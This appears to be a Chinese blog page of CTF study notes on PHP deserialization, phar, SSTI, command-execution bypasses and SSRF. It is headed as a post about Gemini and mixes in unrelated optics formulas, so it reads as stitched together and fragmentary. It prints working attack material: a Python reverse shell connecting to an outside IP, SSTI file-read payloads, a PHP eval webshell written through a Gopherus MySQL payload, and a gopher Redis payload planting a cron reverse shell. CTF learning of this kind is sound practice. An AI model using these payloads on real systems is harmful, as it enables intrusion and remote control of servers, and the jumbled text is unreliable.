关于我用gemini的一些心得体会
最近刚刚白嫖了Gemini的15个月学生会员,于是开始用这个号称目前top1的大模型,并且在使用过程中,有了一些自己的使用心得。
递归 —- 相信相信的力量
考点:php伪协议
php://filter/read=convert.base64-encode/resource
考点:
1 | <?php |
考点:命令执行
考点:RCE 绕过
阿贝不变式:
$$
\frac{n’}{s’} - \frac{n}{s} = \frac{n’ - n}{r}
$$
物方像方焦点公式:
$$
f = \frac{nr}{n - n’}\
f’ = \frac{n’r}{n’ - n}\
\frac{f}{f’} = -\frac{n}{n’}
$$
关于我对老师所教的一套符号法则的理解和总结:
用加号高斯公式时,所有距离全正(几何长度)
用减号折射/笛卡尔公式时,所有距离按方向带正负号
焦距符号永远物理推导
磨镜者公式:
$$
注意:
这两个公式所说的f是整个薄透镜的焦距而不是单个球面。凸透镜为正,凹透镜为负。
透镜成像牛顿公式:
$$
\left{
\begin{aligned}
s &= x + f \
s’ &= x’ + f’
\end{aligned}
\right.
\overset{将这两个式子带入高斯公式得到}{\Rightarrow} xx’ = f^2
$$
主要探讨了物/像分别到焦点的距离x/x’和焦距f的关系。
重点讲解:作平行于入射光线的副光轴交焦平面于副焦点,把然后按照常规来做。
凸透镜:
凹透镜:
$$
f = \frac{r}{2}
$$
作图与以上一致。
重点只看两个,线放大率$\beta$ 和轴向放大率$\alpha$
线放大率$\beta$
图中有另外两对相似三角形来表示它,左下,右上。
轴向放大率$\alpha$
$$
-f_1 = \frac{r_1}{1 - n}\
f_1’ = \frac{nr_1}{n - 1}\
f_2 = \frac{-nr_2}{n - 1}\
-f_2’ = \frac{-r_2}{1 - n}\
f = \frac{f_1f_2}{\Delta} \overset{带入f_1f_2以及\Delta =f_2 - f_1’ + d }{\Rightarrow} f = \frac{f_1f_2}{f_2 - f_1’ + d} \Rightarrow
$$
简单来说,序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象。反序列化漏洞便是在这中间产生的,构造利用链,根据各种魔术方法进行跳转,从而达到RCE,getshell等不可控的后果。
谈到反序列化的时候必然要谈到序列化,下面是在php中,对应的两个重要函数:
serialize()
:示例:
1 | <?php |
序列化片段 | 含义说明 |
---|---|
O:4:"User" |
O 表示对象(Object),类名长度为 4,类名是 "User" |
:1: |
对象有 1 个属性 |
{...} |
花括号中是属性列表 |
s:7:"isAdmin"; |
s 表示字符串,长度为 7,字符串内容是 "isAdmin" (属性名) |
b:1; |
b 表示布尔类型,值为 true(1),false 为 0 |
常见表示:
类型 | 表示符 | 示例 | 说明 |
---|---|---|---|
布尔 | b:x; |
b:1; |
true/false |
整数 | i:x; |
i:42; |
数值 |
浮点 | d:x; |
d:3.14; |
double |
字符串 | s:n:"val"; |
s:5:"hello"; |
长度为 n 的字符串 |
数组 | a:n:{...} |
a:2:{i:0;s:3:"abc";i:1;i:123;} |
n 个键值对 |
对象 | O:n:"class":p:{...} |
O:4:"User":1:{s:3:"id";i:1;} |
类名长度为 n,p 为属性数 |
NULL | N; |
N; |
空值 |
__sleep()
是 PHP 的一个魔术方法,会在对象被 serialize()
时自动调用,主要用于控制哪些属性被序列化。
serialize()
函数会检查类中是否存在一个魔术方法 __sleep()
。如果存在,__sleep()
方法会先被调用,然后才执行序列化操作,即**__sleep()
可以决定序列化的内容。**
1 | <?php |
可以看到只序列化了$username
,而没有$isAdmin
。
unserialize()
:与序列化函数类似,unserialize()
会检查类中是否存在一个__wakeup
魔术方法,如果存在则会先调用__wakeup()
方法,再进行序列化。
小trick:当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup
的执行。
1 | public(公有) |
protected属性被序列化的时候属性值会变成%00\*%00属性名
,private属性被序列化的时候属性值会变成%00类名%00属性名
,%00
空字符长度为 1。
各自权限:
和普通函数不同的是,它会在某些条件下导致函数自动被触发执行,类似于可以跳转。而这就是一般用于构造利用链的核心。
通常是会有一个替换函数,把数据中的字符串替换为另一个更长或者更短的字符串。由此分类为减少逃逸和增多逃逸,关于这两个概念容我在此给出我学完之后的理解:
减少实际上是把序列化后的字符串中属性相关的部分塞进了前面的双引号里面,变成了没有特殊意义的字符串。而增多刚好相反。
下面根据两道例题来给出具体的解释:
1 | <?php |
我们的目的是将pass变量改为escaping才能获得flag,但是整个流程下来,并没有对其进行更改。
我们能够看到它会将php
替换为hack
,从而达到字符串的增多,而这个增多可以怎么利用呢?
1 | O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";} |
->
1 | O:4:"test":2:{s:4:"user";s:3:"hack";s:4:"pass";s:8:"daydream";} |
这样是不能被成功反序列化,因为实际字符串长度与前面不符合。每次替换均会将整个字符串增长1,这样便会有1个字符串逃逸出来。如果我们在最后面构造一个我们想构造的属性,进而逃逸出去的话,便会实现我们的目的。
现在数一数我们需要的构造的属性";s:4:"pass";s:8:"daydream";}
,共29个字符。只需要29个php即可“顶出去”。
1 | O:4:"test":2:{s:4:"user";s:87:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} |
我们把phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
作为参数传递过去,这样前面的计数会是这个字符串116,刚好符合替换完之后flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag
的长度,而在;}
处结束,从而忽略后面的内容。
–>
1 | flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:8:"escaping";} |
1 | <?php |
刚开始传参如下:
1 | http://localhost:3000/?user[]=mikasa&user[]=biubiu |
结果:
1 | a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";} array(2) { [0]=> string(6) "mikasa" [1]=> string(6) "biubiu" } |
目标是将username改为123456,本题会将xx替换为y从而导致字符串减少,同样的逻辑,减少会把一些字符串吃进去,从而在数组的第二个索引处把password改为123456。
分析:
仔细分析序列化字符串,";i:1;s:6:
共10个字符,但我们预计第二个字符串后面长度会到两位数,所以应该算是11个,将第一个参数写成22个x,结果如下:
1 | a:2:{i:0;s:24:"yyyyyyyyyyy";i:1;s:6:"biubiu";} bool(false) |
目前可以看作已经吃掉后面一大坨了,这下就可以自由在字符串二中构造我们想要替换的属性了,;i:1;s:6:"123456";}
a:2:{i:0;s:22:"yyyyyyyyyyy";i:1;s:19:";i:1;s:6:"123456";}";}
漏洞产生原因:写入格式和读取格式不一致。
主要处理方式有以下三种:
例题
php_serialize
写,php
方式读。
1 | <?php |
1 | <?php |
思路:
写的时候加上竖线后面写构造的poc,在读的时候就会把竖线前面的当作键,后面的进行反序列化。
最终通过eval函数成功命令执行。
类似于java的jar,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
该漏洞利用条件:
phar
文件能够上传至服务器/
、phar
等特殊字符没有被过滤一般的利用方式是配合上面这些函数和phar
伪协议,从而不依赖unserialize()
进行反序列化的操作。
生成文件:(需要php > 5.2 并将php.ini
中的phar.readonly
设置为Off)
1 | <?php |
Phar文件有四个部分,stub
/ manifest
被压缩的文件的属性,是以序列化存储的,是主要的攻击点 / contents
文件内容 / signature
签名。
stub
的格式为xxx<?php xxx; __HALT_COMPILER();?>
而manifest
中的meta-data部分有着序列化的内容,在执行时会被反序列化解析。
Python中也有饭序列化,也是通过两个重要的函数进行实现。
pickle.dumps()
和pickle.loads()
1 | >>> import pickle |
(不会,待续)
参考:
admin不能直接爆破好像,全都是500报错。先随便注册一个账号登进去
上传文件界面会发现看不到只有一个img标签,且是data数据,base64加密的图片数据。
尝试直接在file_path参数后面拼接路径读取文件,../../etc/passwd
有回显。
把显示出来的数据拿去解密下载下来即可得到数据:
,尝试读取/proc/self/environ
看看有没有直接的flag(,发现灭有 /proc/self/cmdline
中显示当前有进程:python /app/app.py
于是得到源码app.py:
1 | import uuid |
发现需要admin权限之后会有一个无回显的命令拼接执行,把哈希值拿去在线网站解密如下:
得到admin账户的密码,登录admin账户之后就发现确实是无回显,这里我尝试了好几次反弹shell,好像是环境的问题,后面才成功终于反弹成功。
这里贴一下总结反弹shell命令的文章:
1 | http://223.112.5.141:55140/upload?file_path=111;python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('156.226.172.136',9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"; |
拿到flag。
描述:
your favorite frontend challenge
附件:b5
描述:
My site is PERFECT!!!
hosts: 0.0.0.0 ezmail.org
附件:5a
SSTI 就是服务器端模板注入(Server-Side Template Injection)
Web开发中,模板引擎是为了使得用户界面和业务逻辑处理分离所产生。而SSTI的成因则是因为服务端没有对用户的输入做很好的处理而产生。
我们最常见到的模板语言便是jinja2,它是Flask框架一部分。它能够用于替换变量,将动态数据渲染到静态 HTML 页面。格式如下:
1 | 变量: |
通常在flask渲染html之前会有一个本地的html界面来作为模板,位于app.py同目录下的templates
之下,
这里给出示例:
1 | <html> |
其中hello是静态的,而被{{}}
包裹的name则可以被动态的替换,而执行这一替换逻辑就是app.py的任务。
我们给出以下示例代码:
1 | from flask import Flask, request, render_template |
除了用query = request.args.get(‘name’)来获取参数传递,也可以通过 URL 路径参数 (/<name>
) 获取。,该方法支持参数类型的限制,例如 <int:id>
。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是
通常有很多各个语言的常见框架,不同模板则有着不同的语法,总结如下:
附表
上图为判断模板的方法,绿色线表示执行了,红线则表示没有。
以mako模板的靶场为例:
先输入${7*7}
,回显为49,于是再输入a{*comment*}b
,
未执行,于是再使用${"z".join("ab")}
,
成功执行,现在我们便判断出了模板类型为Mako。
一般就是靠继承链先得到父类再看其中有没有什么可以利用的恶意方法函数之类的能够导致命令执行,从而拿到flag。以下是一些魔术方法,我们用他们来构造继承链:
__class__
class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
。
__bases__
以元组的形式返回一个类所直接继承的类。
__base__
以字符串返回一个类所直接继承的类。
__mro__
返回解析方法调用的顺序。
__subclasses__()
获取类的所有子类。
__init__
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
1 | "".__class__.__mro__[1].__subclasses__().__init__.__globals__ |
这是一套构造的利用链,可以看到object类的所有子类,然后利用.__init__.__globals__
来找到有没有os module或者其他的可以读写文件的。可以用python脚本进行爆破。
用__getitem__(2)
或者.pop(2)
来绕过,假如.也被绕过
1 | "".__class__等价于""["__class__"] |
一般是用于索引或者路径,可以用request.args来进行绕过,把其当作变量来填充即可。
也同样可以用request.args,或者request.form两个传参来绕过(对应GET和POST)
示例:
1 | {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=____class____&mro=____mro____&subclasses=____subclasses____ |
可用加号拆分,使用中括号的payload:
1 | {{""["__cla"+"ss__"]}} |
不使用中括号的payload:
1 | {{"".__getattribute__("__cla"+"ss__")}} |
1 | {{[].____getattribute____('X19jbGFzc19f'.decode('base64')).____base____.____subclasses____()[40]("/etc/passwd").read()}} |
当然现在有很多自动化工具,比如可以看看:
https://github.com/Marven11/Fenjing
**RCE(Remote code execution 代码执行&命令执行)**,分为命令执行和代码执行。
1 | 代码执行:eval("include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;"); |
函数 | 说明 | 示例代码 |
---|---|---|
${} |
用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。 |
eval('${flag}'); |
eval() |
用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。 | eval('echo $flag;'); |
assert() |
测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。 PHP 8.0.0 后移除该功能。 |
assert(print_r($flag)); |
call_user_func() |
用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。 | call_user_func('print_r', $flag); |
create_function() |
创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。 自 PHP 7.2.0 起被*废弃*,并自 PHP 8.0.0 起被*移除*。 | create_function('$a', 'echo $flag;')($a); |
array_map() |
将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。 | array_map(print_r($flag), $a); |
call_user_func_array() |
调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。 | call_user_func_array(print_r($flag), array()); |
usort() |
对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。 | usort($a,print_r($flag)); |
array_filter() |
过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。 | array_filter($a,print_r($flag)); |
array_reduce() |
迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。 | array_reduce($a,print_r($flag)); |
preg_replace() |
执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。 依赖 /e 模式,该模式自 PHP7.3 起被取消。 | preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)}); |
ob_start() |
ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。 | ob_start(print_r($flag)); |
示例:
1 | <?php |
如果这些写c参数:url?c=eval($_GET['a']);
,则会绕过限制。
绕过方式 | 示例 | 说明 |
---|---|---|
%09 |
ls%09/etc |
是TAB制表符的URL编码 |
$IFS |
ls$IFS/etc |
$IFS 是 Bash 中的内部字段分隔符,默认值是空格。 |
\t |
ls\t/etc |
Tab 字符,有时可用 %09 (URL编码)或直接注入制表符。 |
${IFS} |
ls${IFS}/etc |
明确写法,防止 $IFSabc 被误解。 |
%20 |
ls%20/etc |
URL 编码的空格,常见于Web请求中。 |
"$@" |
"ls$@/etc" |
$@ 代表所有参数,某些情况下解析成空格。 |
${PATH:0:1} |
ls${PATH:0:1}/etc |
从环境变量中提取空格字符(原理复杂,略不常用)。 |
{ , } |
{cat,flag.php} |
用逗号实现了空格功能 |
1 | cat /passwd: |
windows
Linux
1 | a=fl;b=ag |
1 | more:一页一页的显示档案内容 |
1 | echo 'ls' | base64 |
变量 | 含义 | 示例输出 |
---|---|---|
${#} |
传递给脚本或函数的参数个数 | 0 (参数为空时) |
${?} |
上一个命令的退出状态 | 0 (正常退出)或 1 (异常退出) |
${_} |
上一个命令的最后一个参数 | 上一个命令的最后一个参数值 |
${0} |
当前脚本或 shell 的名字 | bash 或脚本名 |
${1} 到 ${9} |
传递给脚本或函数的第 1 到第 9 个参数 | 第 1 到第 9 个参数值 |
${@} |
传递给脚本或函数的所有参数(以列表形式) | 所有参数值 |
${*} |
传递给脚本或函数的所有参数(以字符串形式) | 所有参数作为单个字符串 |
${$} |
当前 shell 的进程 ID (PID) | 进程 ID 值 |
${!} |
上一个后台运行的进程的进程 ID (PID) | 后台进程的 PID |
${-} |
当前 shell 的选项标志 | hB (表示 shell 选项标志) |
主要是截取环境变量中的字幕来拼接命令
1 | echo $PATH |
**如果没有特定字母?**这个时候我们可以自己取构造一个PATH。
1 | export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789 |
1 | <?php |
直接拼接命令就可以了,/?ip=127.0.0.1| cat /flag
1 | <?php |
waf了flag关键字,用通配符绕过,或者反斜杠转义绕过。
/?cmd=cat /f???
/?cmd=cat /fla\g
1 | <?php |
这关给的很很巧妙,我刚开始没仔细看,以为是吧数字字母全部waf掉了,结果四也想不到怎么构造,结果一看wp,发现还有a
以及数字没有被过滤。
于是就可以构造以下命令:
/???/?a??64 /??a?
->/bin/base64 /flag
/???/?a? /??a?
-> /bin/cat /flag
1 | Geesec{e2f4a676-8e5d-4b6c-b57b-d1dd6959cd83} <?php |
可用${IFS}
、$IFS
、%09
1 | <?php |
用 ;来分隔重定向, /?cmd=cat /flag;
这里贴一下wp中的总结:
在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值来表示其中特定的文件描述符有以下含义
平时我们使用的”<”和”>”其实就相当于是使用”0<”和”1>”,下面是几种常见的使用示例:
符号 | 示例 | 解释 |
---|---|---|
> |
echo "Hello" > file.txt |
将 echo 的输出重定向到 file.txt 文件 |
< |
wc -l < file.txt |
将 file.txt 作为 wc 命令的输入 |
>> |
echo "World" >> file.txt |
将 echo 的输出以追加方式重定向到 file.txt |
<< |
cat << EOF |
将输入的文本作为 cat 命令的输入,直到遇到 EOF 结束 |
<> |
cat <> file.txt |
以读写模式打开 file.txt 并将其内容作为输入 |
`> | ` | `echo “Override” > |
: > |
: > file.txt |
将 file.txt 截断为0长度,或创建空文件 |
>&n |
ls >&2 |
将 ls 的标准输出和错误输出重定向到文件描述符 n (如 2 为标准错误输出) |
m>&n |
exec 3>&1 |
将文件描述符 3 重定向到描述符 1 ,即输出重定向到标准输出 |
>&- |
exec >&- |
关闭标准输出 |
<&n |
exec <&0 |
输入来自文件描述符 0 (标准输入) |
m<&n |
exec 3<&0 |
将文件描述符 3 重定向到描述符 0 (标准输入) |
<&- |
exec <&- |
关闭标准输入文件描述符 |
<&n- |
exec <&0- |
重定向并关闭文件描述符 n (标准输入) |
>&n- |
exec >&1- |
重定向并关闭文件描述符 n (标准输出) |
1 | <?php |
payload:/?cmd=$'\143\141\164' $'\57\146\154\141\147'
1 | <?php |
只有01可用。
[TOC]
SSRF(Server-Side Request Forgery:服务器端请求伪造),字面意思来理解就是:攻击者通过一些手段来达到伪装了一个由服务端对服务器所在内网发起的恶意请求。
也因此,一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
大多是因为服务端提供了可以从其他服务器获取数据的功能,但没有加以过滤和限制,导致了攻击者可以轻易的任意读取文件,进行内网渗透,对内网Web应用进行攻击等恶意操作。
攻击者可以利用 SSRF 实现的攻击主要有 5 种:
file
协议读取本地文件等file_get_contents() // 将整个文件读入一个字符串
file_get_contents(path,include_path,context,start,max_length)
参数 | 说明 |
---|---|
$filename |
文件路径或 URL(启用 allow_url_fopen 时) |
$use_include_path |
是否在 include_path 中查找文件 |
$context |
stream_context 上下文,适用于 HTTP 配置、超时等 |
$offset |
从文件的第几字节开始读取 |
$length |
最多读取多少字节内容 |
1 | curl_exec() // |
参数 | 类型 | 说明 |
---|---|---|
$ch |
resource | 使用 curl_init() 初始化后的 cURL 会话句柄 |
1 | fsockopen() // 打开 Internet 或者 Unix 套接字 链接 |
参数 | 类型 | 说明 |
---|---|---|
$hostname |
string | 主机名或 IP 地址。支持协议前缀如 ssl:// 、tls:// 等 |
$port |
int | 端口号 |
$error_code |
int 引用 | 若连接失败,此变量将存储错误代码 |
$error_message |
string 引用 | 若连接失败,此变量将存储错误信息 |
$timeout |
float | 连接超时时间,单位为秒 |
1 | file:///etc/password # file:// 之后可以接任意文件 |
dict://ip/info
可获取本地redis
服务配置信息。
可以用来测试和写入webshell。
例如直接嵌套一个Base64加密的照片:
1 | <img src="data:image/png;base64,0KGgoAAAAFGUIknuNSUhEUg...YGGjnm="> |
常用于反弹shell
这里单独提一下Parse_url这个函数,用于拆分url的各个部分为一个类似字典的东西。
1 | <?php |
例如:
1 | <?php |
以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:
1 | curl -vvv 'dict://127.0.0.1:6379/info' |
1 | gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0 |
经过url解码便是:
1 | gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit |
回顾一下MoeCTF2024中的两道SSRF题目吧:
1 | <?php |
当时并不能看懂,现在就能有些认知了。看到curl_exec
、curl_init
之类很明显的SSRF特征。
题目提示flag在/etc/passwd里,于是我们直接利用file伪协议读取flag文件即可:payload: file:///etc/passwd
。
app.py
1 | from flask import Flask, request, send_file, abort, redirect, url_for |
app2.py
1 | from flask import Flask, request, send_file, abort, redirect, url_for |
附件可知,flag一图片形式被存储在内网的uploads文件夹下面,并通过image目录访问,外部服务开放指定端口5000,内部服务则开放在5001-6000的随机端口,
这里画了张图用来理解:
1 | +---------------------------+ |
因此需要抓包爆破,
成功爆出图片,截图OCR并修改即可。
1 | <?php |
相比于上题,waf了本地回环地址,尝试用其他进制的IP绕过即可。
但实际上,这里源码是写错了,没有传参匹配导致恒为真,所以没有任何限制。
正则如下:
1 | /localhost|127\.0\.|\。/i |
多过滤了。
还是用上题的思路即可。
这题有多种绕过思路,网上都总结了很多,这里随便贴一份相对全的:
1 | 进制绕过 url=http://0x7F000001/flag.php |
1 | <?php |
过滤了0和1就有些难搞了,不过这里可以去网上搜索一些公共的能够域名解析到127.0.0.1的url。
1 | http://safe.taobao.com/ |
直接用就好了。
更多的可以通过域名解析结果反向查找:127.0.0.1上的网站 127.0.0.1同iP域名查询 127.0.0.1域名反查
1 | if ((strlen($host) <= 5)) |
增加了长度限制,用url=http://0/flag.php
、 url=http://127.1/flag.php
都可以。
1 | <?php |
url=http://0/flag.php
仍然可用。
1 | <?php |
经过了一些过滤,我们去查查这些都是什么:
FILTER_VALIDATE_IP | 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围。 |
---|
所以可知,要求ip不在 RFC 指定的私有范围IP内(比如 192.168.0.1),也不在保留的IP范围内。
类型 | 范围 | 为什么被限制? |
---|---|---|
私有地址 | 10. , 172.16-31. , 192.168. |
内网地址,不能让用户探测 |
保留地址 | 127. , 169.254. , 224. , 240. , 255. |
有特殊含义/不允许外部通信 |
以下两种方法实操可见最下方的bypass总结中。
method1 公网挂马
method2 DNS重绑定
常用工具rbndr.us dns rebinding service
构造恰当的URL,例如用google,baidu这些官网的dns解析ip来进行交替(ping 可以查看),可以看到DNS解析在不断变换:
没成功的话,多刷新几次。
1 | <?php |
需要匹配正则表达,满足http://ctf.
开头,show
结尾,而且能解析。
构造如下:
http://ctf.@127.0.0.1/flag.php?show
利用参数查询?
,或者锚点#
绕过show
在Parse_url函数中我们提到过,该函数会把@前后分段开,分为:
1 | [host] => hostname //@后 |
于是它实际解析的仍然是指向127.0.0.1的。
进来一个登录框,抓包发现有一个returl参数,
需要下载一个生成gopher协议的payload工具:https://github.com/tarunkant/Gopherus
usage:python2 gopherus.py --exploit mysql
用户为root,query为 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';
并且将生成的payload再次进行url编码,因为解析时会解密一层。
替换到returl参数的值后发包,然后蚁剑连接即可。
hint:打redis
同上题一样,换个payload,usage:python2 gopherus.py --exploit redis
操作一样,最后
1 | 进制绕过 url=http://0x7F000001/flag.php |
打重定向
1 | <?php |
这段 PHP 脚本的作用是:
当某个目标服务器访问你的公网服务时,比如:
1 | http://your-public-ip:port/malicious.php |
它会返回一个 HTTP 重定向:
1 | HTTP/1.1 302 Found |
于是,如果目标服务器自动跟随重定向,它会**转头请求自己的 127.0.0.1/flag.php
**。
常用工具rbndr.us dns rebinding service
指攻击者通过DNS服务器将域名解析到恶意IP地址,然后再将其解析到合法IP地址,从而绕过后端的安全检查。其本质就是欺骗客户端请求的IP地址。
看网上的文章感觉不是很形象,但GPT的讲解很通透,我在这里贴一下:
💡 实战场景举个例子
设想有一个网站:
1 GET /fetch?url=http://example.com它会请求你传的
url
,但有如下限制:
- ❌ 禁止 IP 是
127.0.0.1
- ✅ 允许你填入域名,例如
evil.rbndr.us
你设置
evil.rbndr.us
这个域名:
- 第一次解析:指向你的服务器(公网 IP)
- **第二次解析:变成
127.0.0.1
或169.254.169.254
**!于是 SSRF 访问你的域名 → 其实打到了 目标的内网服务。
🧠 详细过程
- SSRF 发请求:
http://evil.rbndr.us
- DNS 解析
evil.rbndr.us
,第一次解析结果是你的公网 IP- 目标服务请求了你服务器(你控制)
- 你服务器什么也不返回,挂着不处理
- 等 DNS 缓存过期后(几秒)
- 再次解析
evil.rbndr.us
→ 变成127.0.0.1
- SSRF 继续跟随请求:访问
http://127.0.0.1
💥 成功 SSRF 打到了内网!
安装
1 | git clone https://github.com/tarunkant/Gopherus.git |
payload支持:
以无密码mysql为例:
usage:python2 gopherus.py --exploit mysql
用户为root
,query为 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';
_
?这里贴一下CTFSHOW-SSRF篇 - LinkPoc - 博客园这篇博客中的一张图片:
参考文章:
从0到1完全掌握 SSRF - FreeBuf网络安全行业门户